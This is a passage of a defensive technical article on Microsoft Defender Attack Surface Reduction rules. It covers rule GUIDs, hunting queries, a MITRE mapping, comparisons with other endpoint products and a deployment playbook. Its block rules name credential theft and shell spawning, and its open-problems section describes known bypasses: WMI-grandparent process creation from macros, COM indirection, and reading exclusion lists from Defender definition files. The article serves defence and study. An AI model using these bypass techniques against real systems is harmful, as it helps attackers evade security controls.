"Protection from denial of services requires the detection of halting programs which is well known to be undecidable." -- Fred Cohen, "Computer Viruses: Theory and Experiments," 1984 [@cohen-1984-part1]

The framework now in place is "name a behaviour class, ship an enforcement edge." Nine years and seven generations of catalogue extension have followed that single rule. So what does the catalogue look like in detail today? The next section is the reference table: nineteen rules, organised by category, with GUID, ActionType, and the attacker behaviour each one closes.

6. The Nineteen Rules in Detail

This section is the article's reference table. Not a deployment guide (that comes in Section 10), but a catalogue to return to when you need to remember which GUID maps to which behaviour and which ActionType lands in DeviceEvents. Every row is from Microsoft Learn's rules reference page [@ms-learn-asr-reference].

Standard protection rules (3 rules)

Microsoft itself recommends enabling these three in Block mode without staged rollout, because their false-positive floor is low [@ms-learn-asr-overview].

Short name	GUID	ActionType (Blocked)	Notes
Block abuse of exploited vulnerable signed drivers	`56a863a9-875e-4185-98a7-b882c64b5ce5`	`AsrVulnerableSignedDriverBlocked`	The BYOVD response; pairs with the kernel-load-time Vulnerable Driver Blocklist [@ms-learn-driver-block-rules]
Block credential stealing from the Windows local security authority subsystem	`9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2`	`AsrLsassCredentialTheftBlocked`	Redundant when LSA Protection is enabled [@ms-learn-asr-overview]
Block persistence through WMI event subscription	`e6db77e5-3df2-4cf1-b95a-636979351e5b`	`AsrPersistenceThroughWmiBlocked`	Still requires Audit testing if Configuration Manager manages the device

Productivity apps (6 rules)

The Office and Adobe response pack, anchored by the Office-child-process rule that opens this article.

Short name	GUID	ActionType (Blocked)	Notes
Block all Office applications from creating child processes	`d4f940ab-401b-4efc-aadc-ad5f3c50688a`	`AsrOfficeChildProcessBlocked`	The macro-to-PowerShell stopper
Block Office applications from creating executable content	`3b576869-a4ec-4529-8536-b80a7769e899`	`AsrExecutableOfficeContentBlocked`	Blocks dropped EXEs from Office processes
Block Office applications from injecting code into other processes	`75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84`	`AsrOfficeProcessInjectionBlocked`	No Warn-mode support [@ms-learn-asr-overview]
Block Win32 API calls from Office macros	`92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b`	`AsrOfficeMacroWin32ApiCallsBlocked`	Refuses `Declare` statements that bind to native DLLs
Block Office communication application from creating child processes	`26190899-1602-49e8-8b27-eb1d0a1ce869`	`AsrOfficeCommAppChildProcessBlocked`	The Outlook variant
Block Adobe Reader from creating child processes	`7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c`	`AsrAdobeReaderChildProcessBlocked`	The PDF response

Scripts and email (3 rules)

The AMSI-backed script-content rules plus the email-drop-execution rule.

Short name	GUID	ActionType (Blocked)	Notes
Block execution of potentially obfuscated scripts	`5beb7efe-fd9a-4556-801d-275e5ffc04cc`	`AsrObfuscatedScriptBlocked`	AMSI-backed
Block JavaScript or VBScript from launching downloaded executable content	`d3e037e1-3eb8-44c8-a917-57927947596d`	`AsrScriptExecutableDownloadBlocked`	The drive-by-download response
Block executable content from email client and webmail	`be9ba2d9-53ea-4cdc-84e5-9b1eeee46550`	`AsrExecutableEmailContentBlocked`	Catches the dropped-attachment-run pattern

Lateral movement and prevalence (4 rules)

The cloud-protected, prevalence-based rules plus the Emotet lateral-movement responses.

Short name	GUID	ActionType (Blocked)	Notes
Block process creations originating from PSExec and WMI commands	`d1e49aac-8f56-4280-b9ba-993a6d77406c`	`AsrPsexecWmiChildProcessBlocked`	Conflicts with Configuration Manager [@ms-learn-asr-overview]
Block executable files from running unless they meet a prevalence, age, or trusted list criterion	`01443614-cd74-433a-b99e-2ecdc07bfc25`	`AsrUntrustedExecutableBlocked`	Requires cloud protection (MAPS)
Block untrusted and unsigned processes that run from USB	`b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4`	`AsrUntrustedUsbProcessBlocked`	The BadUSB response
Use advanced protection against ransomware	`c1db55ab-c21a-4637-bb3f-a12568109d35`	`AsrRansomwareBlocked`	Requires cloud protection

Server, system-tool, and safe-mode (3 rules)

The post-2022 additions.

Short name	GUID	ActionType (Blocked)	Notes
Block Webshell creation for Servers	`a8f5898e-1dc8-49a9-9878-85004b8a61e6`	(no DeviceEvents pair)	Only rule without a `DeviceEvents` ActionType [@ms-learn-asr-reference]
Block rebooting machine in Safe Mode	`33ddedf1-c6e0-47cb-833e-de6133960387`	`AsrSafeModeRebootBlocked`	Also emits `AsrSafeModeRebootWarnBypassed` -- proof Warn is supported
Block use of copied or impersonated system tools	`c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb`	`AsrAbusedSystemToolBlocked`	Also emits `AsrAbusedSystemToolWarnBypassed` -- proof Warn is supported

Total: 19 rules. Older blog posts that cite "16 rules" or "17 rules" reflect a 2021-2023 snapshot of the catalogue before the Safe Mode, copied-tools, USB, and Outlook variants landed.

The per-rule MITRE crosswalk

MITRE ATT&CK's Behavior Prevention on Endpoint mitigation (M1040) nominates ASR rules by name for several technique families. The first eight rows below are verbatim nominations from the M1040 page; the last two (T1505.003 and T1562.009) are this article's own mappings from rule semantics to the most-natural MITRE technique, because M1040 itself does not enumerate the Webshell or Safe Mode Boot techniques [@mitre-m1040]:

MITRE technique	ASR rule that covers it
T1059.005 / T1059.007 (Command and Scripting Interpreter: Visual Basic / JavaScript)	Block JavaScript or VBScript from launching downloaded executable content; Block execution of potentially obfuscated scripts
T1543 / T1543.003 (Create or Modify System Process / Windows Service)	Block abuse of exploited vulnerable signed drivers
T1486 (Data Encrypted for Impact)	Use advanced protection against ransomware
T1546.003 (Event Triggered Execution: WMI Event Subscription)	Block persistence through WMI event subscription
T1559 / T1559.002 (Inter-Process Communication: Dynamic Data Exchange)	Block all Office applications from creating child processes
T1106 (Native API)	Block Win32 API calls from Office macros
T1027 / T1027.009 / T1027.010 (Obfuscated Files or Information)	Block execution of potentially obfuscated scripts
T1003.001 (LSASS Memory)	Block credential stealing from the Windows local security authority subsystem
T1505.003 (Server Software Component: Web Shell) -- author mapping, not M1040-nominated	Block Webshell creation for Servers
T1562.009 (Impair Defenses: Safe Mode Boot) -- author mapping, not M1040-nominated	Block rebooting machine in Safe Mode

The crosswalk gives a defender the per-technique coverage map without leaving the article.

Note: Recall from Section 1: every rule emits a rule-specific Asr<RuleName>Audited and Asr<RuleName>Blocked pair (the Webshell rule excepted), and the canonical universal Advanced Hunting filter is where ActionType startswith "Asr" [@ms-learn-asr-reference].

The Webshell rule's missing DeviceEvents ActionType is the most visible gap in the catalogue's telemetry surface. Defenders typically use Sysmon Event ID 11 (FileCreate) in web roots and IIS access logs to corroborate blocked webshell creations on servers; the Microsoft Learn rules reference is explicit that the EDR-alerts column for this rule is "N" [@ms-learn-asr-reference].

The universal Advanced Hunting query, demonstrated below in a runnable JavaScript shape so a reader can verify the aggregation logic without a Defender for Endpoint tenant, is the single most useful starting point for any ASR investigation.

{` // Mocked DeviceEvents rows. Replace with output of: // DeviceEvents | where ActionType startswith "Asr" // | summarize count() by ActionType, DeviceName | order by count_ desc const deviceEvents = [ { DeviceName: "WS-FIN-042", ActionType: "AsrOfficeChildProcessBlocked" }, { DeviceName: "WS-FIN-042", ActionType: "AsrOfficeChildProcessBlocked" }, { DeviceName: "WS-FIN-118", ActionType: "AsrOfficeChildProcessAudited" }, { DeviceName: "WS-ENG-003", ActionType: "AsrLsassCredentialTheftBlocked" }, { DeviceName: "WS-FIN-042", ActionType: "AsrPsexecWmiChildProcessAudited" }, { DeviceName: "WS-FIN-118", ActionType: "AsrVulnerableSignedDriverBlocked" }, { DeviceName: "OTHER", ActionType: "DeviceLogon" }, // filtered out ];

const asrRows = deviceEvents.filter(r => r.ActionType.startsWith("Asr"));

const counts = asrRows.reduce((m, r) => { const key = r.ActionType + " | " + r.DeviceName; m[key] = (m[key] || 0) + 1; return m; }, {});

Object.entries(counts) .sort((a, b) => b[1] - a[1]) .forEach(([key, n]) => console.log(n + "\t" + key)); `}

Nineteen rules. Three categories. One catalogue that has grown by twelve rules in nine years and shows no sign of stopping. But ASR is not the only behaviour-blocking layer on the Windows endpoint. How does the catalogue compare to CrowdStrike's Indicators of Attack, SentinelOne's Storyline, App Control for Business, Sysmon, and the rest?

7. Where ASR Sits Among the Behaviour Layers

ASR is one of seven currently-deployed methods for behavioural defence on the Windows endpoint. None of them obsoletes any of the others; they layer. Counting the strengths honestly means counting the weaknesses too.

App Control for Business, AppLocker, WDAC

Identity classification. App Control for Business and its predecessor AppLocker are stricter than ASR on the identity axis (default-deny when tuned) but blind to behaviour edges among allowed binaries [@ms-learn-applocker]. The Vulnerable Driver Blocklist that ships default-on with Windows 11 22H2 is the kernel-load-time sibling to ASR's BYOVD rule and works against the same class of attack from the kernel side rather than the user side [@ms-learn-driver-block-rules]. App Control and ASR are complementary, not competing.

CrowdStrike Falcon Behavioral Indicators of Attack

Cloud-evaluated edge classifier. CrowdStrike's own one-line definition of IOAs is the cleanest a vendor has published [@crowdstrike-ioa-definition]: "telltale signs or activities that signal a potential cybersecurity threat or attack is in progress. ... They aim to identify and mitigate a threat before it can fully materialize." The trade-offs cut both ways. CrowdStrike pushes new IOA rules from the cloud without an OS update -- real adaptivity. The cost: no public reference catalogue (every IOA is vendor-internal), a cloud dependency for some configurations, and a commercial licence. ASR is free; CrowdStrike is not.

SentinelOne Singularity Storyline, ActiveEDR

On-agent behavioural-AI engine with per-host storyline graph correlation and a STAR custom-rule layer. SentinelOne's product-level marketing pages return JavaScript-rendered shells or HTTP 404s to text-only fetchers, so byte-precision verification for specific features is currently unavailable. The model-level description (on-agent graph correlation that works offline) is well-attested in the secondary literature. The trade-offs mirror CrowdStrike's: vendor-internal classifier, no public catalogue, commercial licence. This article keeps the framing at the model level and avoids specific feature or performance claims.

Note: The SentinelOne canonical product URLs are HTTP 404 or JavaScript-rendered shells with no byte-extractable text. The model-level claim (on-agent behavioural-AI graph correlation, STAR custom-rule layer, designed offline) is well-attested in the secondary literature; no specific feature claim has a single byte-verified URL behind it in this iteration.

Microsoft 365 Apps internet-macro default block

The Office-internal parallel layer that ended the macro era for unmanaged tenants [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022]. Office-only and macro-only; covers neither DDE, OLE, embedded executables, nor non-VBA Office attack chains. ASR remains the layer that catches the corresponding edge if the macro layer is bypassed by a managed-tenant override or by a non-macro initial-access vector.

Sysmon and custom SIEM rules

High-fidelity edge visibility; no enforcement. Practitioners run Sysmon alongside ASR for audit-trail coverage of edges ASR does not block and for corroborating telemetry around edges it does. Note that MITRE M1042 ("Disable or Remove Feature or Program") does not mention Sysmon or ASR by name [@mitre-m1042]; the Sysmon-with-ASR pairing is practitioner consensus rather than an M1042 nomination. M1040 (Behavior Prevention on Endpoint) is the mitigation that names ASR rules verbatim [@mitre-m1040].

EDR-in-block-mode

The sibling post-event automated-response layer to ASR, not an umbrella over it. EDR-in-block-mode is required for passive-AV configurations where Defender Antivirus is not the primary. Microsoft Learn's EDR-in-block-mode page is unambiguous about the dependency: "Features like network protection and attack surface reduction (ASR) rules and indicators ... are only available when Microsoft Defender Antivirus is running in Active mode" [@ms-learn-edr-in-block-mode]. EDR-in-block-mode acts strictly post-event on EDR detections; ASR acts pre-completion on the operation itself. Different points in the timeline.

A common misframing places EDR-in-block-mode as the umbrella feature that "covers" ASR. The Microsoft Learn page contradicts that reading directly. EDR-in-block-mode is the layer that lets Defender for Endpoint block based on its EDR findings even when a third-party AV is primary; ASR is the layer that intercepts the operation at the minifilter before any other component sees it. They are siblings, not parent and child [@ms-learn-edr-in-block-mode].

The comparison matrix

The seven methods on ten axes. Read this as a trade-off space; no row dominates the others on every axis.

Method	Classification axis	Enforcement substrate	Catalogue inspectability	Cost	Cloud-connectivity required	OS coverage	Best suited for
ASR rules	Edge	Kernel-mode minifilter + user-mode service	Fully public per-rule [@ms-learn-asr-reference]	Free with Windows	No (some rules require MAPS)	Windows 10 1709+, Windows 11, Windows Server	Behaviour-edge defence; macro chains; LSASS; BYOVD
M365 Apps internet-macro block	Document-trust	Office process	Public docs [@ms-learn-internet-macros-blocked]	Free with M365	No	Microsoft 365 Apps	Internet-marked Office macros
App Control + Vulnerable Driver Blocklist	Identity + driver hash	Kernel	Public policy XML / Block rules [@ms-learn-driver-block-rules]	Free with Windows	No	Windows 10+, Server	Default-deny; kernel-load-time BYOVD
CrowdStrike Falcon IOAs	Edge	Agent + cloud	Vendor-internal [@crowdstrike-ioa-definition]	Commercial	Yes (some)	Cross-platform	Adaptive cloud-pushed behavioural detection
SentinelOne Storyline	Edge graph	On-agent	Vendor-internal	Commercial	No (designed offline)	Cross-platform	Per-host graph correlation
Sysmon + SIEM	Visibility only	User-mode (Sysmon) + SIEM	Public events; SIEM rules per-tenant	Sysmon free; SIEM commercial	Yes (SIEM)	Windows 7+, Linux	Audit trail; corroboration
EDR-in-block-mode	Post-detection block	MDE service	MDE-managed	Defender for Endpoint licence	Yes	Windows 10+, Server	Passive-AV configurations

AV-Comparatives' Endpoint Prevention and Response Test 2023 evaluated 12 EPR products against 50 multi-stage targeted-attack scenarios across three phases -- Endpoint Compromise and Foothold, Internal Propagation, Asset Breach -- over June through September 2023 [@av-comparatives-epr-2023]. Per-product scoring is paywalled and is not reproduced here; only the methodology is cited as the cross-vendor backdrop against which any "ASR vs the rest" empirical claim has to be measured. The article makes no specific scoring claim against AV-Comparatives data because the scoring is not publicly extractable from the free summary.

Each row in the matrix names a different trade-off. ASR is the only row that is free, kernel-mediated, fully inspectable, and shipped with every Windows edition that includes Defender Antivirus. But the catalogue is finite. And the attacker's degrees of freedom are not. What does the theory say about the gap?

8. What No Behaviour Block List Can Do

Every defence layer has a lower bound. ASR's is Cohen 1984 -- but indirectly, through the structural floor that every edge predicate inherits.

Cohen's 1984 result (introduced in Section 3 as a Definition with its diagonal-construction proof sketch and Rice-1953 corollary) proves that detection of arbitrary viral behaviour in a program reduces to the Halting Problem and is therefore undecidable in general [@cohen-1984-part1]. ASR sidesteps the result by changing the question. Not "is this program malicious?" -- undecidable in general -- but "did this specific edge in the runtime graph just occur?" -- decidable per event at the OS interception layer. The Cohen ceiling does not directly forbid edge classification; it forbids node classification. Edge classification is decidable per edge.

The cost is two structural floors that any behaviour-block list inherits.

The over-approximation floor. Every edge predicate is itself an over-approximation of "is this edge malicious." Legitimate IT-automation Word macros do legitimately spawn PowerShell. Legitimate backup software does legitimately read LSASS memory (WerFaultSecure.exe appears on extracted LSASS-rule exclusion lists per Adam Svoboda's VDM-extraction technique [@adamsvoboda-asr-exclusions]). Legitimate management software does legitimately write driver files. Every ASR rule therefore has a structural false-positive floor; the per-rule exclusion list is the recovery mechanism. Exclusion lists trade safety for compatibility.

The catalogue-finiteness upper bound. The space of possible attack edges is countably infinite. Any composition of CreateProcess, WriteFile, RegSetValue, WMI subscription, scheduled task, COM IDispatch::Invoke, or driver-load can be chained into a new edge sequence. The catalogue is finite -- nineteen rules in May 2026 [@ms-learn-asr-reference]. The bound is sharp: an attacker whose chain crosses any edge e in the catalogue is detected at e; an attacker whose chain avoids every edge in the catalogue is not.

Key idea: ASR compresses bypass cost; it does not eliminate it. The catalogue is finite. The attacker's space of edges is countably infinite. Behaviour-block lists are incomplete by construction -- and that is not a defect; it is the design philosophy. The defender's job is not to fix the incompleteness but to make every cheap attack chain expensive enough that the attacker stops using it.

The empirical evidence for the catalogue-finiteness bound is the bypass-research cluster. SANS ISC Diary 27036 (Daniel Wesemann, January 27, 2021) documents the WMI-grandparent bypass to the Office-child-process rule [@sans-isc-27036-emotet-asr]. Sevagas / Emeric Nasi's "Bypass Windows Defender Attack Surface Reduction" PDF (2021) documents COM-object-indirection bypasses [@sevagas-asr-bypass]. Primusinterp's "Cheesing Microsoft Attack Surface Reduction rules" enumerates chained-COM bypasses against the 2017-era catalogue [@primusinterp-cheesing-asr]. Adam Svoboda's VDM-extraction technique enumerates the exclusion lists themselves [@adamsvoboda-asr-exclusions]. None of these is a defect Microsoft has been slow to fix. All are structural consequences of the catalogue-finiteness bound.

The proof in Cohen's open-access archive reduces virus detection to the Halting Problem; the 1984 DoD/NBS conference paper is the original presentation; the 1987 *Computers and Security* reprint is the canonical citable journal form. The open-access archive at all.net is the byte-verifiable text; the verbatim sentence "Protection from denial of services requires the detection of halting programs which is well known to be undecidable" is on the first page of Part 1 [@cohen-1984-part1]. The line is the closest one-sentence statement of the structural ceiling that any node-classifying malware detector inherits.

ASR's design philosophy is not to achieve the theoretical optimum of "complete, sound, real-time, false-positive-free edge catalogue" (unachievable for the reasons above). It is to compress the attacker's bypass cost -- to force the attacker off the cheap, common attack chains (WINWORD -> cmd -> PowerShell) onto more expensive ones (WMI grandparent, COM indirection, scheduled-task fan-out, exclusion-list enumeration, BYOVD). The Section 11 FAQ entry that picks up this thread makes it explicit.

A finite catalogue, an unbounded attacker space, and a structural floor under each rule. The next section names the open problems that follow.

9. What Is Still Moving

The bypass-research corpus around ASR is not a temporary embarrassment. It is the permanent shape of every catalogue-based defence. Six open problems define the layer's research frontier as of May 2026.

Problem 1 -- The WMI and COM grandparent bypass class

The canonical bypass is documented in SANS Internet Storm Center Diary 27036, published January 27, 2021 by handler Daniel Wesemann [@sans-isc-27036-emotet-asr]. Emotet's VBA invoked Win32_Process.Create via WMI, so WmiPrvSE.exe became the literal parent of cmd.exe; the Office-child-process rule's predicate is byte-literal (it checks the immediate parent image against the Office binary list) and therefore never fires.

sequenceDiagram participant VBA as VBA macro in WINWORD.EXE participant WMI as WmiPrvSE.exe (svchost host) participant CMD as cmd.exe participant WD as WdFilter.sys participant MP as MsMpEng.exe VBA->>WMI: GetObject winmgmts, Win32_Process.Create WMI->>WD: process-create notify, parent = WmiPrvSE WD->>MP: edge event, parent image WmiPrvSE.exe MP-->>WD: rule D4F940AB predicate false, no Office parent WD-->>WMI: allow CreateProcess WMI->>CMD: spawn cmd.exe 'cmd' is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn't trigger. -- Daniel Wesemann, SANS ISC Diary 27036, January 27, 2021 [@sans-isc-27036-emotet-asr]

The PSExec/WMI rule (d1e49aac-...) was added in Windows 10 1803 to catch the most common variant, but Microsoft Learn warns that it conflicts with Configuration Manager [@ms-learn-asr-overview]. COM-object indirection (MMC.Application, Outlook.Application, ShellWindows) generalises the bypass beyond WMI [@sevagas-asr-bypass] [@primusinterp-cheesing-asr]. No ASR rule today covers transitive-parent classification across COM or scheduled-task fan-out without breaking Configuration Manager dependencies. The open question is whether a transitive-parent predicate can be added without breaking SCCM, and what false-positive rate that costs.

Problem 2 -- Event 5007 and exclusion-list enumeration

Adam Svoboda's technique demonstrates that ASR exclusion lists live in Defender VDM containers (mpasbase.vdm, mpasdlta.vdm) and are extractable with wdextract64.exe [@adamsvoboda-asr-exclusions]. A low-privilege user with read access to C:\ProgramData\Microsoft\Windows Defender\Definition Updates\ can enumerate the whitelisted paths the LSASS rule, the BYOVD rule, and other rules carry by default. Tamper Protection prevents runtime modification of the exclusion list but does not prevent read access [@ms-learn-tamper-protection]. Once the exclusion list is enumerated, the per-rule defence becomes "did the attacker drop the payload in a writable whitelisted path?" -- a deployment-quality question, not a structural one. The open problem is whether the exclusion lists should be encrypted at rest with a key not derivable by an unprivileged process.

Problem 3 -- Catalogue completeness against modern initial-access vectors

Emotet's post-2022 pivot to OneNote embedded scripts, HTML smuggling, ISO and IMG containers (which strip MOTW on extraction), LNK files, and 7z archives is not covered by ASR's existing rules [@welivesecurity-emotet-pivot-2022]. SmartScreen, Network Protection, and the Microsoft 365 Apps internet-macro default block cover some of this surface, but not via ASR's edge-predicate model. The open question is whether the ASR catalogue should grow to cover OneNote-spawns-child, or whether the right answer is to rely on the parallel layers and accept that ASR's coverage of OneNote-era initial-access is partial.

Problem 4 -- The Webshell rule's missing telemetry surface

Per the Microsoft Learn rules reference, "Block Webshell creation for Servers" (a8f5898e-...) is the only rule without a DeviceEvents ActionType pair [@ms-learn-asr-reference]. Defenders cannot KQL-hunt for blocked Webshell creations the way they can for every other rule; visibility lives in MpCmdRun.log and IIS access logs. The open question is when Microsoft will add the missing ActionType so that the Webshell rule's audit-and-block events become uniformly queryable in Advanced Hunting.

Problem 5 -- Tamper Protection versus kernel-level attackers

ASR is enforced by WdFilter.sys running at integrity level System, but a kernel-mode attacker (for example, one with a BYOVD-loaded malicious driver) is a peer. BlackByte's 2022 BYOVD campaigns demonstrated the pattern: load a vulnerable signed driver, disable Defender's notify routines, proceed [@sophos-blackbyte-returns-2022]. The ASR BYOVD rule (56a863a9-...) plus the WDAC Vulnerable Driver Blocklist default-on in Windows 11 22H2 [@ms-learn-driver-block-rules] plus Hypervisor-protected Code Integrity each close a sub-class. None closes the full class, because the driver-block-list is update-cadence-bounded. The open question is whether WdFilter.sys can be moved into a Virtualization-Based Security isolated enclave such that even a kernel-compromise primitive cannot tamper with ASR enforcement.

Problem 6 -- The inspectability dual

ASR's structural floor is catalogue finiteness. The structural floor of its SOTA competitors (CrowdStrike AI-powered IOAs, SentinelOne Storyline) is vendor-internal inspectability. When an AI-powered IOA fires, the defender has no rule GUID to look up, no published predicate to reason about, no per-edge auditability for purple-team coverage assessment. The two bounds are complementary: ASR optimises for inspectability at the cost of catalogue-growth lag; the AI-powered competitors optimise for adaptive classifier coverage at the cost of inspectability. A complete edge-classification SOTA layer would combine both. No single product currently does.

Note: The Outflank ASR-bypass blog corpus is a well-known research-cluster member; live URLs returned HTTP 403 (Cloudflare) and Wayback Machine fallbacks were unreachable from the verification environment. Named honestly here without inventing a URL. The bypass cluster's claims are independently supported by SANS ISC [@sans-isc-27036-emotet-asr], Sevagas [@sevagas-asr-bypass], Primusinterp [@primusinterp-cheesing-asr], and Adam Svoboda [@adamsvoboda-asr-exclusions].

The catalogue is incomplete by construction. The defender's job is not to fix the incompleteness; it is to make every cheap attack chain too expensive to use. Section 10 codifies that into a Monday-morning playbook.

10. How to Actually Use This on Monday

Five steps. Source-control everything. Treat ASR not as a replacement for AppLocker, App Control for Business, or your EDR -- treat it as a kernel-mediated, free, behaviour-edge layer that costs almost nothing once tuned.

Step 1 -- Enable the three Standard protection rules in Block mode first

Microsoft itself classifies these three as low-false-positive-floor [@ms-learn-asr-overview]:

Block abuse of exploited vulnerable signed drivers (Device) -- 56a863a9-875e-4185-98a7-b882c64b5ce5.
Block credential stealing from the Windows local security authority subsystem -- 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2. Note: if LSA Protection is enabled on the device (recommended together with Credential Guard), Microsoft Learn states verbatim that "this rule is redundant" and Defender will show the rule as "not applicable" [@ms-learn-asr-overview].
Block persistence through WMI event subscription -- e6db77e5-3df2-4cf1-b95a-636979351e5b. Even though this rule is in the Standard set, Microsoft Learn recommends extensive Audit-mode testing if Configuration Manager manages the device, "because the Configuration Manager client relies heavily on WMI" [@ms-learn-asr-overview].

Step 2 -- Move the other sixteen rules through Audit, Warn, Block

The canonical deployment ladder is enumerated in the implementation guide on Microsoft Learn: start every rule in Audit, watch DeviceEvents for false positives, transition to Warn (or Block where Warn is unsupported), then transition to Block once the false-positive rate is acceptable in your first deployment ring [@ms-learn-asr-deployment-implement]. Two rules skip Warn entirely and go Audit straight to Block: Block credential stealing from LSASS and Block Office applications from injecting code into other processes [@ms-learn-asr-overview]. The other fourteen Other ASR rules support the full three-step ladder.

Step 3 -- Hunt with the universal query

DeviceEvents | where ActionType startswith "Asr" returns every Audit and Block emission across the fleet. Pair with DeviceProcessEvents and DeviceFileEvents for the corroborating edge data; the Section 6 RunnableCode block demonstrates the shape. For the one rule without a DeviceEvents row -- Block Webshell creation for Servers -- use Sysmon Event ID 11 in web roots plus IIS access logs [@ms-learn-asr-reference]. Microsoft Learn's operationalize page is the corresponding canonical reference for post-deployment monitoring practices [@ms-learn-asr-deployment-operationalize].

Step 4 -- Layer with the sibling controls

ASR alone is not a complete posture. The set of controls that compose with ASR includes:

Tamper Protection [@ms-learn-tamper-protection] -- prevents administrators (and attackers with admin rights) from disabling ASR rules at runtime through registry or service tampering.
Cloud Protection (MAPS) -- required for several rules including the prevalence-based executable rule and the ransomware advanced-protection rule [@ms-learn-asr-reference].
The Microsoft 365 Apps macros-from-the-internet-blocked-by-default policy [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022] -- the consumer-facing twin of ASR's Office rules; default-on for every Microsoft 365 tenant since the July 2022 staged rollout.
The Vulnerable Driver Blocklist [@ms-learn-driver-block-rules] -- default-on in Windows 11 22H2; sibling to the BYOVD ASR rule at the kernel-load edge.
EDR-in-block-mode [@ms-learn-edr-in-block-mode] -- only when Defender Antivirus is in passive mode (third-party AV is primary).
Sysmon -- for visibility into edges ASR does not block and for audit-trail corroboration of edges it does. (M1040 nominates ASR per-technique [@mitre-m1040]; M1042 does not mention Sysmon or ASR by name [@mitre-m1042] -- the pairing is practitioner consensus, not an M1042 nomination.)

Step 5 -- Track exclusions in source control

The exclusion list is the most common deployment-failure surface. Adding C:\Program Files\Vendor\ as an exclusion for one rule applies fleet-wide; over-broad exclusions are the dominant practical risk to the layer's integrity. Use Git or equivalent; review exclusions every quarter; demand a Jira ticket per exclusion with a sunset date.

Note: (1) Enable BYOVD, LSASS, and WMI persistence in Block mode (Standard protection -- start here). (2) Move the other sixteen rules through Audit, Warn, Block. (3) Hunt with DeviceEvents | where ActionType startswith "Asr". (4) Layer with Tamper Protection, Cloud Protection, the Microsoft 365 Apps macro default block, the Vulnerable Driver Blocklist, EDR-in-block-mode (for passive AV), and Sysmon. (5) Track exclusions in source control with sunset dates.

Note: Exclusions added to one ASR rule apply fleet-wide. Over-broad exclusions are the dominant practical attack surface against an otherwise well-configured ASR posture. Adam Svoboda's published technique demonstrates that low-privilege users can enumerate the exclusion list directly from Defender's VDM containers [@adamsvoboda-asr-exclusions]. Track exclusions in source control. Review quarterly. Require a ticket with a sunset date for every entry.

If LSA Protection (RunAsPPL) is enabled on the device, the LSASS ASR rule shows as "not applicable" because LSA Protection already enforces the same boundary at a different layer [@ms-learn-asr-overview]. Confused defenders sometimes interpret the "not applicable" state as a rule misconfiguration; it is in fact the correct behaviour, and means the host is already protected against the equivalent class of attacks by LSA Protection plus Credential Guard.

```powershell Set-MpPreference -AttackSurfaceReductionRules_Ids ` '56a863a9-875e-4185-98a7-b882c64b5ce5', ` '9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2', ` 'e6db77e5-3df2-4cf1-b95a-636979351e5b' ` -AttackSurfaceReductionRules_Actions Enabled, Enabled, Enabled Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids ``` Run as administrator. The three GUIDs are BYOVD, LSASS, and WMI persistence respectively. Confirm with the Get-MpPreference call. For staged rollout in an enterprise, manage these through Intune or Group Policy instead so the configuration follows the device.

Five steps, three Standard protection rules, sixteen Other ASR rules, two rules that skip Warn mode, one universal hunting query. The rest is exception-list discipline. Section 11 closes with the seven misconceptions that survive every rollout.

11. Frequently Asked Questions

No. ASR rules live inside **Microsoft Defender Antivirus** -- the on-host scanning engine that ships free with every Windows edition that includes Defender. **Microsoft Defender for Endpoint** is the cloud-managed EDR layer Microsoft sells on top, with `DeviceEvents` Advanced Hunting, Indicators of Compromise management, and automated investigation. ASR rules can be configured locally via PowerShell or Group Policy with no Defender for Endpoint licence at all. Defender for Endpoint adds management, telemetry ingestion, and Advanced Hunting; it does not add the enforcement [@ms-learn-asr-reference] [@ms-learn-edr-in-block-mode]. No. This is the SOC-playbook folklore that survives every rollout. Each rule emits a rule-specific `AsrAudited` and `AsrBlocked` pair (the server-only Webshell rule is the only exception, with no `DeviceEvents` row at all). The canonical universal Advanced Hunting query is `DeviceEvents | where ActionType startswith "Asr"`, not equality against a generic value. Microsoft Learn's rules reference enumerates every pair [@ms-learn-asr-reference]. No. The Office macro era ended through three layers in combination: (1) **Europol's Operation LadyBird** on January 27, 2021, the coordinated international takedown of Emotet's command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) **ASR's 2017-onward Office rules at the enterprise tier**, managed through Intune, Group Policy, or Defender for Endpoint; (3) **the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier**, announced by Tom Gallagher on February 7, 2022 and resumed July 20, 2022 after a brief pause for usability fixes [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer. It was not the only layer. The honest version of the story names all three. Partially yes, and the nuance matters. The interception point (`WdFilter.sys`, registered at altitude 328010 in the FSFilter Anti-Virus band per the IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]) is **kernel-mode**. The policy evaluation (`MsMpEng.exe`) is **user-mode** at integrity level System. Calling ASR "kernel-mode" without nuance is incomplete; the correct one-line framing is "kernel-mediated interception, user-mode policy evaluation." No. Microsoft Learn's overview page states verbatim: "If you enabled Local Security Authority (LSA) protection (recommended, along with Credential Guard), this rule is redundant" [@ms-learn-asr-overview]. The LSASS ASR rule shows as "not applicable" on devices where LSA Protection is enabled. The "not applicable" state is the correct behaviour, not a misconfiguration. No. Only two ASR rules skip Warn mode -- "Block credential stealing from the Windows local security authority subsystem" and "Block Office applications from injecting code into other processes" -- both per Microsoft Learn's overview page [@ms-learn-asr-overview]. Section 4 Generation 3 walks the byte-level proof that the rest of the catalogue (including the Safe Mode reboot rule and the copied-tools rule, two of the five rules the folklore wrongly lists) does support Warn. Yes -- routinely. The "the SOC never sees ASR" framing is rhetoric, not reality. Multiple rules raise EDR alerts in Defender for Endpoint; every rule except the Webshell rule lands a row in `DeviceEvents` [@ms-learn-asr-reference]. The accurate framing is that ASR blocks rarely require analyst response because there is nothing left to triage once the kernel has returned the operation as failed -- the Frankfurt analyst from this article's opening never gets paged because the macro never spawned PowerShell. The SOC can hunt, audit, and report on ASR activity at any time; the choice not to triage individual blocks is exactly what a well-tuned preventive layer ought to enable.

